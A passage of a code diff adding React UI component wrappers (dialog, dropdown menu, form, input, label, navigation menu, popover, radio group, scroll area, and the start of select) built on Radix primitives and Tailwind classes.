+  ContextMenuItem,
+  ContextMenuCheckboxItem,
+  ContextMenuRadioItem,
+  ContextMenuLabel,
+  ContextMenuSeparator,
+  ContextMenuShortcut,
+  ContextMenuGroup,
+  ContextMenuPortal,
+  ContextMenuSub,
+  ContextMenuSubContent,
+  ContextMenuSubTrigger,
+  ContextMenuRadioGroup,
+};

web/app/components/ui/dialog.tsx

@@ -0,0 +1,141 @@
+import { XIcon } from "lucide-react";
+import { Dialog as DialogPrimitive } from "radix-ui";
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+function Dialog({
+  ...props
+}: React.ComponentProps<typeof DialogPrimitive.Root>) {
+  return <DialogPrimitive.Root data-slot="dialog" {...props} />;
+}
+
+function DialogTrigger({
+  ...props
+}: React.ComponentProps<typeof DialogPrimitive.Trigger>) {
+  return <DialogPrimitive.Trigger data-slot="dialog-trigger" {...props} />;
+}
+
+function DialogPortal({
+  ...props
+}: React.ComponentProps<typeof DialogPrimitive.Portal>) {
+  return <DialogPrimitive.Portal data-slot="dialog-portal" {...props} />;
+}
+
+function DialogClose({
+  ...props
+}: React.ComponentProps<typeof DialogPrimitive.Close>) {
+  return <DialogPrimitive.Close data-slot="dialog-close" {...props} />;
+}
+
+function DialogOverlay({
+  className,
+  ...props
+}: React.ComponentProps<typeof DialogPrimitive.Overlay>) {
+  return (
+    <DialogPrimitive.Overlay
+      data-slot="dialog-overlay"
+      className={cn(
+        "data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 fixed inset-0 z-50 bg-black/50",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function DialogContent({
+  className,
+  children,
+  showCloseButton = true,
+  ...props
+}: React.ComponentProps<typeof DialogPrimitive.Content> & {
+  showCloseButton?: boolean;
+}) {
+  return (
+    <DialogPortal data-slot="dialog-portal">
+      <DialogOverlay />
+      <DialogPrimitive.Content
+        data-slot="dialog-content"
+        className={cn(
+          "data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 fixed top-[50%] left-[50%] z-50 grid w-full max-w-[calc(100%-2rem)] translate-x-[-50%] translate-y-[-50%] gap-4 rounded-lg border p-6 shadow-lg duration-200 sm:max-w-lg",
+          className,
+        )}
+        {...props}
+      >
+        {children}
+        {showCloseButton && (
+          <DialogPrimitive.Close
+            data-slot="dialog-close"
+            className="ring-offset-background focus:ring-ring data-[state=open]:bg-accent data-[state=open]:text-muted-foreground absolute top-4 right-4 rounded-xs opacity-70 transition-opacity hover:opacity-100 focus:ring-2 focus:ring-offset-2 focus:outline-hidden disabled:pointer-events-none [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4"
+          >
+            <XIcon />
+            <span className="sr-only">Close</span>
+          </DialogPrimitive.Close>
+        )}
+      </DialogPrimitive.Content>
+    </DialogPortal>
+  );
+}
+
+function DialogHeader({ className, ...props }: React.ComponentProps<"div">) {
+  return (
+    <div
+      data-slot="dialog-header"
+      className={cn("flex flex-col gap-2 text-center sm:text-left", className)}
+      {...props}
+    />
+  );
+}
+
+function DialogFooter({ className, ...props }: React.ComponentProps<"div">) {
+  return (
+    <div
+      data-slot="dialog-footer"
+      className={cn(
+        "flex flex-col-reverse gap-2 sm:flex-row sm:justify-end",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function DialogTitle({
+  className,
+  ...props
+}: React.ComponentProps<typeof DialogPrimitive.Title>) {
+  return (
+    <DialogPrimitive.Title
+      data-slot="dialog-title"
+      className={cn("text-lg leading-none font-semibold", className)}
+      {...props}
+    />
+  );
+}
+
+function DialogDescription({
+  className,
+  ...props
+}: React.ComponentProps<typeof DialogPrimitive.Description>) {
+  return (
+    <DialogPrimitive.Description
+      data-slot="dialog-description"
+      className={cn("text-muted-foreground text-sm", className)}
+      {...props}
+    />
+  );
+}
+
+export {
+  Dialog,
+  DialogClose,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogOverlay,
+  DialogPortal,
+  DialogTitle,
+  DialogTrigger,
+};

web/app/components/ui/dropdown-menu.tsx

@@ -0,0 +1,255 @@
+import { CheckIcon, ChevronRightIcon, CircleIcon } from "lucide-react";
+import { DropdownMenu as DropdownMenuPrimitive } from "radix-ui";
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+function DropdownMenu({
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.Root>) {
+  return <DropdownMenuPrimitive.Root data-slot="dropdown-menu" {...props} />;
+}
+
+function DropdownMenuPortal({
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.Portal>) {
+  return (
+    <DropdownMenuPrimitive.Portal data-slot="dropdown-menu-portal" {...props} />
+  );
+}
+
+function DropdownMenuTrigger({
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.Trigger>) {
+  return (
+    <DropdownMenuPrimitive.Trigger
+      data-slot="dropdown-menu-trigger"
+      {...props}
+    />
+  );
+}
+
+function DropdownMenuContent({
+  className,
+  sideOffset = 4,
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.Content>) {
+  return (
+    <DropdownMenuPrimitive.Portal>
+      <DropdownMenuPrimitive.Content
+        data-slot="dropdown-menu-content"
+        sideOffset={sideOffset}
+        className={cn(
+          "bg-popover text-popover-foreground data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 z-50 max-h-(--radix-dropdown-menu-content-available-height) min-w-[8rem] origin-(--radix-dropdown-menu-content-transform-origin) overflow-x-hidden overflow-y-auto rounded-md border p-1 shadow-md",
+          className,
+        )}
+        {...props}
+      />
+    </DropdownMenuPrimitive.Portal>
+  );
+}
+
+function DropdownMenuGroup({
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.Group>) {
+  return (
+    <DropdownMenuPrimitive.Group data-slot="dropdown-menu-group" {...props} />
+  );
+}
+
+function DropdownMenuItem({
+  className,
+  inset,
+  variant = "default",
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.Item> & {
+  inset?: boolean;
+  variant?: "default" | "destructive";
+}) {
+  return (
+    <DropdownMenuPrimitive.Item
+      data-slot="dropdown-menu-item"
+      data-inset={inset}
+      data-variant={variant}
+      className={cn(
+        "focus:bg-accent focus:text-accent-foreground data-[variant=destructive]:text-destructive data-[variant=destructive]:focus:bg-destructive/10 dark:data-[variant=destructive]:focus:bg-destructive/20 data-[variant=destructive]:focus:text-destructive data-[variant=destructive]:*:[svg]:!text-destructive [&_svg:not([class*='text-'])]:text-muted-foreground relative flex cursor-default items-center gap-2 rounded-sm px-2 py-1.5 text-sm outline-hidden select-none data-[disabled]:pointer-events-none data-[disabled]:opacity-50 data-[inset]:pl-8 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function DropdownMenuCheckboxItem({
+  className,
+  children,
+  checked,
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.CheckboxItem>) {
+  return (
+    <DropdownMenuPrimitive.CheckboxItem
+      data-slot="dropdown-menu-checkbox-item"
+      className={cn(
+        "focus:bg-accent focus:text-accent-foreground relative flex cursor-default items-center gap-2 rounded-sm py-1.5 pr-2 pl-8 text-sm outline-hidden select-none data-[disabled]:pointer-events-none data-[disabled]:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
+        className,
+      )}
+      checked={checked}
+      {...props}
+    >
+      <span className="pointer-events-none absolute left-2 flex size-3.5 items-center justify-center">
+        <DropdownMenuPrimitive.ItemIndicator>
+          <CheckIcon className="size-4" />
+        </DropdownMenuPrimitive.ItemIndicator>
+      </span>
+      {children}
+    </DropdownMenuPrimitive.CheckboxItem>
+  );
+}
+
+function DropdownMenuRadioGroup({
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.RadioGroup>) {
+  return (
+    <DropdownMenuPrimitive.RadioGroup
+      data-slot="dropdown-menu-radio-group"
+      {...props}
+    />
+  );
+}
+
+function DropdownMenuRadioItem({
+  className,
+  children,
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.RadioItem>) {
+  return (
+    <DropdownMenuPrimitive.RadioItem
+      data-slot="dropdown-menu-radio-item"
+      className={cn(
+        "focus:bg-accent focus:text-accent-foreground relative flex cursor-default items-center gap-2 rounded-sm py-1.5 pr-2 pl-8 text-sm outline-hidden select-none data-[disabled]:pointer-events-none data-[disabled]:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
+        className,
+      )}
+      {...props}
+    >
+      <span className="pointer-events-none absolute left-2 flex size-3.5 items-center justify-center">
+        <DropdownMenuPrimitive.ItemIndicator>
+          <CircleIcon className="size-2 fill-current" />
+        </DropdownMenuPrimitive.ItemIndicator>
+      </span>
+      {children}
+    </DropdownMenuPrimitive.RadioItem>
+  );
+}
+
+function DropdownMenuLabel({
+  className,
+  inset,
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.Label> & {
+  inset?: boolean;
+}) {
+  return (
+    <DropdownMenuPrimitive.Label
+      data-slot="dropdown-menu-label"
+      data-inset={inset}
+      className={cn(
+        "px-2 py-1.5 text-sm font-medium data-[inset]:pl-8",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function DropdownMenuSeparator({
+  className,
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.Separator>) {
+  return (
+    <DropdownMenuPrimitive.Separator
+      data-slot="dropdown-menu-separator"
+      className={cn("bg-border -mx-1 my-1 h-px", className)}
+      {...props}
+    />
+  );
+}
+
+function DropdownMenuShortcut({
+  className,
+  ...props
+}: React.ComponentProps<"span">) {
+  return (
+    <span
+      data-slot="dropdown-menu-shortcut"
+      className={cn(
+        "text-muted-foreground ml-auto text-xs tracking-widest",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function DropdownMenuSub({
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.Sub>) {
+  return <DropdownMenuPrimitive.Sub data-slot="dropdown-menu-sub" {...props} />;
+}
+
+function DropdownMenuSubTrigger({
+  className,
+  inset,
+  children,
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.SubTrigger> & {
+  inset?: boolean;
+}) {
+  return (
+    <DropdownMenuPrimitive.SubTrigger
+      data-slot="dropdown-menu-sub-trigger"
+      data-inset={inset}
+      className={cn(
+        "focus:bg-accent focus:text-accent-foreground data-[state=open]:bg-accent data-[state=open]:text-accent-foreground flex cursor-default items-center rounded-sm px-2 py-1.5 text-sm outline-hidden select-none data-[inset]:pl-8",
+        className,
+      )}
+      {...props}
+    >
+      {children}
+      <ChevronRightIcon className="ml-auto size-4" />
+    </DropdownMenuPrimitive.SubTrigger>
+  );
+}
+
+function DropdownMenuSubContent({
+  className,
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.SubContent>) {
+  return (
+    <DropdownMenuPrimitive.SubContent
+      data-slot="dropdown-menu-sub-content"
+      className={cn(
+        "bg-popover text-popover-foreground data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 z-50 min-w-[8rem] origin-(--radix-dropdown-menu-content-transform-origin) overflow-hidden rounded-md border p-1 shadow-lg",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+export {
+  DropdownMenu,
+  DropdownMenuPortal,
+  DropdownMenuTrigger,
+  DropdownMenuContent,
+  DropdownMenuGroup,
+  DropdownMenuLabel,
+  DropdownMenuItem,
+  DropdownMenuCheckboxItem,
+  DropdownMenuRadioGroup,
+  DropdownMenuRadioItem,
+  DropdownMenuSeparator,
+  DropdownMenuShortcut,
+  DropdownMenuSub,
+  DropdownMenuSubTrigger,
+  DropdownMenuSubContent,
+};

web/app/components/ui/form.tsx

@@ -0,0 +1,199 @@
+import { type Label as LabelPrimitive, Slot as SlotPrimitive } from "radix-ui";
+import * as React from "react";
+import {
+  Controller,
+  type ControllerProps,
+  type FieldPath,
+  type FieldValues,
+  FormProvider,
+  useFormContext,
+  useFormState,
+} from "react-hook-form";
+import { Label } from "@/components/ui/label";
+import { cn } from "@/lib/utils";
+
+const Form = FormProvider;
+
+type FormFieldContextValue<
+  TFieldValues extends FieldValues = FieldValues,
+  TName extends FieldPath<TFieldValues> = FieldPath<TFieldValues>,
+> = {
+  name: TName;
+};
+
+const FormFieldContext = React.createContext<FormFieldContextValue>(
+  {} as FormFieldContextValue,
+);
+
+const FormField = <
+  TFieldValues extends FieldValues = FieldValues,
+  TName extends FieldPath<TFieldValues> = FieldPath<TFieldValues>,
+>({
+  ...props
+}: ControllerProps<TFieldValues, TName>) => {
+  return (
+    <FormFieldContext.Provider value={{ name: props.name }}>
+      <Controller {...props} />
+    </FormFieldContext.Provider>
+  );
+};
+
+const useFormField = () => {
+  const fieldContext = React.useContext(FormFieldContext);
+  const itemContext = React.useContext(FormItemContext);
+  const { getFieldState } = useFormContext();
+  const formState = useFormState({ name: fieldContext.name });
+  const fieldState = getFieldState(fieldContext.name, formState);
+
+  if (!fieldContext) {
+    throw new Error("useFormField should be used within <FormField>");
+  }
+
+  const { id } = itemContext;
+
+  return {
+    id,
+    name: fieldContext.name,
+    formItemId: `${id}-form-item`,
+    formDescriptionId: `${id}-form-item-description`,
+    formMessageId: `${id}-form-item-message`,
+    ...fieldState,
+  };
+};
+
+type FormItemContextValue = {
+  id: string;
+};
+
+const FormItemContext = React.createContext<FormItemContextValue>(
+  {} as FormItemContextValue,
+);
+
+function FormItem({ className, ...props }: React.ComponentProps<"div">) {
+  const id = React.useId();
+
+  return (
+    <FormItemContext.Provider value={{ id }}>
+      <div
+        data-slot="form-item"
+        className={cn("gap-2", className)}
+        {...props}
+      />
+    </FormItemContext.Provider>
+  );
+}
+
+function FormFieldItem({ className, ...props }: React.ComponentProps<"div">) {
+  const id = React.useId();
+
+  return (
+    <FormItemContext.Provider value={{ id }}>
+      <div
+        data-slot="form-item"
+        className={cn("flex flex-col gap-1", className)}
+        {...props}
+      />
+    </FormItemContext.Provider>
+  );
+}
+
+function FormLabel({
+  className,
+  ...props
+}: React.ComponentProps<typeof LabelPrimitive.Root>) {
+  const { error, formItemId } = useFormField();
+
+  return (
+    <Label
+      data-slot="form-label"
+      data-error={!!error}
+      className={cn("data-[error=true]:text-destructive", className)}
+      htmlFor={formItemId}
+      {...props}
+    />
+  );
+}
+
+function FormFieldLabel({
+  className,
+  ...props
+}: React.ComponentProps<typeof LabelPrimitive.Root>) {
+  const { error, formItemId } = useFormField();
+
+  return (
+    <Label
+      data-slot="form-label"
+      data-error={!!error}
+      className={cn("data-[error=true]:text-destructive h-6", className)}
+      htmlFor={formItemId}
+      {...props}
+    />
+  );
+}
+
+function FormControl({
+  ...props
+}: React.ComponentProps<typeof SlotPrimitive.Slot>) {
+  const { error, formItemId, formDescriptionId, formMessageId } =
+    useFormField();
+
+  return (
+    <SlotPrimitive.Slot
+      data-slot="form-control"
+      id={formItemId}
+      aria-describedby={
+        !error
+          ? `${formDescriptionId}`
+          : `${formDescriptionId} ${formMessageId}`
+      }
+      aria-invalid={!!error}
+      {...props}
+    />
+  );
+}
+
+function FormDescription({ className, ...props }: React.ComponentProps<"p">) {
+  const { formDescriptionId } = useFormField();
+
+  return (
+    <p
+      data-slot="form-description"
+      id={formDescriptionId}
+      className={cn("text-muted-foreground text-sm", className)}
+      {...props}
+    />
+  );
+}
+
+function FormMessage({ className, ...props }: React.ComponentProps<"p">) {
+  const { error, formMessageId } = useFormField();
+  const body = error ? String(error?.message ?? "") : props.children;
+
+  if (!body) {
+    return null;
+  }
+
+  return (
+    <p
+      data-slot="form-message"
+      id={formMessageId}
+      className={cn("text-destructive text-sm", className)}
+      {...props}
+    >
+      {body}
+    </p>
+  );
+}
+
+export {
+  useFormField,
+  Form,
+  FormItem,
+  FormFieldItem,
+  FormLabel,
+  FormFieldLabel,
+  FormControl,
+  FormDescription,
+  FormMessage,
+  FormField,
+};

web/app/components/ui/input.tsx

@@ -0,0 +1,21 @@
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+function Input({ className, type, ...props }: React.ComponentProps<"input">) {
+  return (
+    <input
+      type={type}
+      data-slot="input"
+      className={cn(
+        "file:text-foreground placeholder:text-muted-foreground selection:bg-primary selection:text-primary-foreground dark:bg-input/30 border-input flex h-8 w-full min-w-0 rounded-md border bg-transparent px-3 py-1 text-sm shadow-xs transition-[color,box-shadow] outline-none file:inline-flex file:h-6 file:border-0 file:bg-transparent file:text-sm file:font-medium disabled:pointer-events-none disabled:cursor-not-allowed disabled:opacity-50",
+        "focus-visible:border-ring focus-visible:ring-ring/50 focus-visible:ring-[3px]",
+        "aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+export { Input };

web/app/components/ui/label.tsx

@@ -0,0 +1,22 @@
+import { Label as LabelPrimitive } from "radix-ui";
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+function Label({
+  className,
+  ...props
+}: React.ComponentProps<typeof LabelPrimitive.Root>) {
+  return (
+    <LabelPrimitive.Root
+      data-slot="label"
+      className={cn(
+        "flex items-center gap-2 text-sm leading-none font-medium select-none group-data-[disabled=true]:pointer-events-none group-data-[disabled=true]:opacity-50 peer-disabled:cursor-not-allowed peer-disabled:opacity-50",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+export { Label };

web/app/components/ui/navigation-menu.tsx

@@ -0,0 +1,168 @@
+import { cva } from "class-variance-authority";
+import { ChevronDownIcon } from "lucide-react";
+import { NavigationMenu as NavigationMenuPrimitive } from "radix-ui";
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+function NavigationMenu({
+  className,
+  children,
+  viewport = true,
+  ...props
+}: React.ComponentProps<typeof NavigationMenuPrimitive.Root> & {
+  viewport?: boolean;
+}) {
+  return (
+    <NavigationMenuPrimitive.Root
+      data-slot="navigation-menu"
+      data-viewport={viewport}
+      className={cn(
+        "group/navigation-menu relative flex max-w-max flex-1 items-center justify-center",
+        className,
+      )}
+      {...props}
+    >
+      {children}
+      {viewport && <NavigationMenuViewport />}
+    </NavigationMenuPrimitive.Root>
+  );
+}
+
+function NavigationMenuList({
+  className,
+  ...props
+}: React.ComponentProps<typeof NavigationMenuPrimitive.List>) {
+  return (
+    <NavigationMenuPrimitive.List
+      data-slot="navigation-menu-list"
+      className={cn(
+        "group flex flex-1 list-none items-center justify-center gap-1",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function NavigationMenuItem({
+  className,
+  ...props
+}: React.ComponentProps<typeof NavigationMenuPrimitive.Item>) {
+  return (
+    <NavigationMenuPrimitive.Item
+      data-slot="navigation-menu-item"
+      className={cn("relative", className)}
+      {...props}
+    />
+  );
+}
+
+const navigationMenuTriggerStyle = cva(
+  "group inline-flex h-9 w-max items-center justify-center rounded-md px-4 py-2 text-sm font-medium hover:bg-accent hover:text-accent-foreground focus:bg-accent focus:text-accent-foreground disabled:pointer-events-none disabled:opacity-50 data-[state=open]:hover:bg-accent data-[state=open]:text-accent-foreground data-[state=open]:focus:bg-accent data-[state=open]:bg-accent/50 focus-visible:ring-ring/50 outline-none transition-[color,box-shadow] focus-visible:ring-[3px] focus-visible:outline-1",
+);
+
+function NavigationMenuTrigger({
+  className,
+  children,
+  ...props
+}: React.ComponentProps<typeof NavigationMenuPrimitive.Trigger>) {
+  return (
+    <NavigationMenuPrimitive.Trigger
+      data-slot="navigation-menu-trigger"
+      className={cn(navigationMenuTriggerStyle(), "group", className)}
+      {...props}
+    >
+      {children}{" "}
+      <ChevronDownIcon
+        className="relative top-[1px] ml-1 size-3 transition duration-300 group-data-[state=open]:rotate-180"
+        aria-hidden="true"
+      />
+    </NavigationMenuPrimitive.Trigger>
+  );
+}
+
+function NavigationMenuContent({
+  className,
+  ...props
+}: React.ComponentProps<typeof NavigationMenuPrimitive.Content>) {
+  return (
+    <NavigationMenuPrimitive.Content
+      data-slot="navigation-menu-content"
+      className={cn(
+        "data-[motion^=from-]:animate-in data-[motion^=to-]:animate-out data-[motion^=from-]:fade-in data-[motion^=to-]:fade-out data-[motion=from-end]:slide-in-from-right-52 data-[motion=from-start]:slide-in-from-left-52 data-[motion=to-end]:slide-out-to-right-52 data-[motion=to-start]:slide-out-to-left-52 top-0 left-0 w-full p-2 pr-2.5 md:absolute md:w-auto",
+        "group-data-[viewport=false]/navigation-menu:bg-popover group-data-[viewport=false]/navigation-menu:text-popover-foreground group-data-[viewport=false]/navigation-menu:data-[state=open]:animate-in group-data-[viewport=false]/navigation-menu:data-[state=closed]:animate-out group-data-[viewport=false]/navigation-menu:data-[state=closed]:zoom-out-95 group-data-[viewport=false]/navigation-menu:data-[state=open]:zoom-in-95 group-data-[viewport=false]/navigation-menu:data-[state=open]:fade-in-0 group-data-[viewport=false]/navigation-menu:data-[state=closed]:fade-out-0 group-data-[viewport=false]/navigation-menu:top-full group-data-[viewport=false]/navigation-menu:mt-1.5 group-data-[viewport=false]/navigation-menu:overflow-hidden group-data-[viewport=false]/navigation-menu:rounded-md group-data-[viewport=false]/navigation-menu:border group-data-[viewport=false]/navigation-menu:shadow group-data-[viewport=false]/navigation-menu:duration-200 **:data-[slot=navigation-menu-link]:focus:ring-0 **:data-[slot=navigation-menu-link]:focus:outline-none",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function NavigationMenuViewport({
+  className,
+  ...props
+}: React.ComponentProps<typeof NavigationMenuPrimitive.Viewport>) {
+  return (
+    <div
+      className={cn(
+        "absolute top-full left-0 isolate z-50 flex justify-center",
+      )}
+    >
+      <NavigationMenuPrimitive.Viewport
+        data-slot="navigation-menu-viewport"
+        className={cn(
+          "origin-top-center bg-popover text-popover-foreground data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-90 relative mt-1.5 h-[var(--radix-navigation-menu-viewport-height)] w-full overflow-hidden rounded-md border shadow md:w-[var(--radix-navigation-menu-viewport-width)]",
+          className,
+        )}
+        {...props}
+      />
+    </div>
+  );
+}
+
+function NavigationMenuLink({
+  className,
+  ...props
+}: React.ComponentProps<typeof NavigationMenuPrimitive.Link>) {
+  return (
+    <NavigationMenuPrimitive.Link
+      data-slot="navigation-menu-link"
+      className={cn(
+        "data-[active=true]:focus:bg-accent data-[active=true]:hover:bg-accent data-[active=true]:bg-accent/50 data-[active=true]:text-accent-foreground hover:bg-accent hover:text-accent-foreground focus:bg-accent focus:text-accent-foreground focus-visible:ring-ring/50 [&_svg:not([class*='text-'])]:text-muted-foreground flex flex-col gap-1 rounded-sm p-2 text-sm transition-all outline-none focus-visible:ring-[3px] focus-visible:outline-1 [&_svg:not([class*='size-'])]:size-4",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function NavigationMenuIndicator({
+  className,
+  ...props
+}: React.ComponentProps<typeof NavigationMenuPrimitive.Indicator>) {
+  return (
+    <NavigationMenuPrimitive.Indicator
+      data-slot="navigation-menu-indicator"
+      className={cn(
+        "data-[state=visible]:animate-in data-[state=hidden]:animate-out data-[state=hidden]:fade-out data-[state=visible]:fade-in top-full z-[1] flex h-1.5 items-end justify-center overflow-hidden",
+        className,
+      )}
+      {...props}
+    >
+      <div className="bg-border relative top-[60%] h-2 w-2 rotate-45 rounded-tl-sm shadow-md" />
+    </NavigationMenuPrimitive.Indicator>
+  );
+}
+
+export {
+  NavigationMenu,
+  NavigationMenuList,
+  NavigationMenuItem,
+  NavigationMenuContent,
+  NavigationMenuTrigger,
+  NavigationMenuLink,
+  NavigationMenuIndicator,
+  NavigationMenuViewport,
+  navigationMenuTriggerStyle,
+};

web/app/components/ui/popover.tsx

@@ -0,0 +1,46 @@
+import { Popover as PopoverPrimitive } from "radix-ui";
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+function Popover({
+  ...props
+}: React.ComponentProps<typeof PopoverPrimitive.Root>) {
+  return <PopoverPrimitive.Root data-slot="popover" {...props} />;
+}
+
+function PopoverTrigger({
+  ...props
+}: React.ComponentProps<typeof PopoverPrimitive.Trigger>) {
+  return <PopoverPrimitive.Trigger data-slot="popover-trigger" {...props} />;
+}
+
+function PopoverContent({
+  className,
+  align = "center",
+  sideOffset = 4,
+  ...props
+}: React.ComponentProps<typeof PopoverPrimitive.Content>) {
+  return (
+    <PopoverPrimitive.Portal>
+      <PopoverPrimitive.Content
+        data-slot="popover-content"
+        align={align}
+        sideOffset={sideOffset}
+        className={cn(
+          "bg-popover text-popover-foreground data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 z-50 w-72 origin-(--radix-popover-content-transform-origin) rounded-md border p-4 shadow-md outline-hidden",
+          className,
+        )}
+        {...props}
+      />
+    </PopoverPrimitive.Portal>
+  );
+}
+
+function PopoverAnchor({
+  ...props
+}: React.ComponentProps<typeof PopoverPrimitive.Anchor>) {
+  return <PopoverPrimitive.Anchor data-slot="popover-anchor" {...props} />;
+}
+
+export { Popover, PopoverTrigger, PopoverContent, PopoverAnchor };

web/app/components/ui/radio-group.tsx

@@ -0,0 +1,43 @@
+import { CircleIcon } from "lucide-react";
+import { RadioGroup as RadioGroupPrimitive } from "radix-ui";
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+function RadioGroup({
+  className,
+  ...props
+}: React.ComponentProps<typeof RadioGroupPrimitive.Root>) {
+  return (
+    <RadioGroupPrimitive.Root
+      data-slot="radio-group"
+      className={cn("grid gap-2", className)}
+      {...props}
+    />
+  );
+}
+
+function RadioGroupItem({
+  className,
+  ...props
+}: React.ComponentProps<typeof RadioGroupPrimitive.Item>) {
+  return (
+    <RadioGroupPrimitive.Item
+      data-slot="radio-group-item"
+      className={cn(
+        "border-input text-primary focus-visible:border-ring focus-visible:ring-ring/50 aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive dark:bg-input/30 aspect-square size-4 shrink-0 rounded-full border shadow-xs transition-[color,box-shadow] outline-none focus-visible:ring-[3px] disabled:cursor-not-allowed disabled:opacity-50",
+        className,
+      )}
+      {...props}
+    >
+      <RadioGroupPrimitive.Indicator
+        data-slot="radio-group-indicator"
+        className="relative flex items-center justify-center"
+      >
+        <CircleIcon className="fill-primary absolute top-1/2 left-1/2 size-2 -translate-x-1/2 -translate-y-1/2" />
+      </RadioGroupPrimitive.Indicator>
+    </RadioGroupPrimitive.Item>
+  );
+}
+
+export { RadioGroup, RadioGroupItem };

web/app/components/ui/scroll-area.tsx

@@ -0,0 +1,56 @@
+import { ScrollArea as ScrollAreaPrimitive } from "radix-ui";
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+function ScrollArea({
+  className,
+  children,
+  ...props
+}: React.ComponentProps<typeof ScrollAreaPrimitive.Root>) {
+  return (
+    <ScrollAreaPrimitive.Root
+      data-slot="scroll-area"
+      className={cn("relative", className)}
+      {...props}
+    >
+      <ScrollAreaPrimitive.Viewport
+        data-slot="scroll-area-viewport"
+        className="focus-visible:ring-ring/50 size-full rounded-[inherit] transition-[color,box-shadow] outline-none focus-visible:ring-[3px] focus-visible:outline-1"
+      >
+        {children}
+      </ScrollAreaPrimitive.Viewport>
+      <ScrollBar />
+      <ScrollAreaPrimitive.Corner />
+    </ScrollAreaPrimitive.Root>
+  );
+}
+
+function ScrollBar({
+  className,
+  orientation = "vertical",
+  ...props
+}: React.ComponentProps<typeof ScrollAreaPrimitive.ScrollAreaScrollbar>) {
+  return (
+    <ScrollAreaPrimitive.ScrollAreaScrollbar
+      data-slot="scroll-area-scrollbar"
+      orientation={orientation}
+      className={cn(
+        "flex touch-none p-px transition-colors select-none",
+        orientation === "vertical" &&
+          "h-full w-2.5 border-l border-l-transparent",
+        orientation === "horizontal" &&
+          "h-2.5 flex-col border-t border-t-transparent",
+        className,
+      )}
+      {...props}
+    >
+      <ScrollAreaPrimitive.ScrollAreaThumb
+        data-slot="scroll-area-thumb"
+        className="bg-border relative flex-1 rounded-full"
+      />
+    </ScrollAreaPrimitive.ScrollAreaScrollbar>
+  );
+}
+
+export { ScrollArea, ScrollBar };

web/app/components/ui/select.tsx

@@ -0,0 +1,183 @@
+import { CheckIcon, ChevronDownIcon, ChevronUpIcon } from "lucide-react";
+import { Select as SelectPrimitive } from "radix-ui";
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+function Select({
+  ...props
+}: React.ComponentProps<typeof SelectPrimitive.Root>) {
+  return <SelectPrimitive.Root data-slot="select" {...props} />;
+}
+
+function SelectGroup({
+  ...props
+}: React.ComponentProps<typeof SelectPrimitive.Group>) {
+  return <SelectPrimitive.Group data-slot="select-group" {...props} />;
+}
+
+function SelectValue({
+  ...props
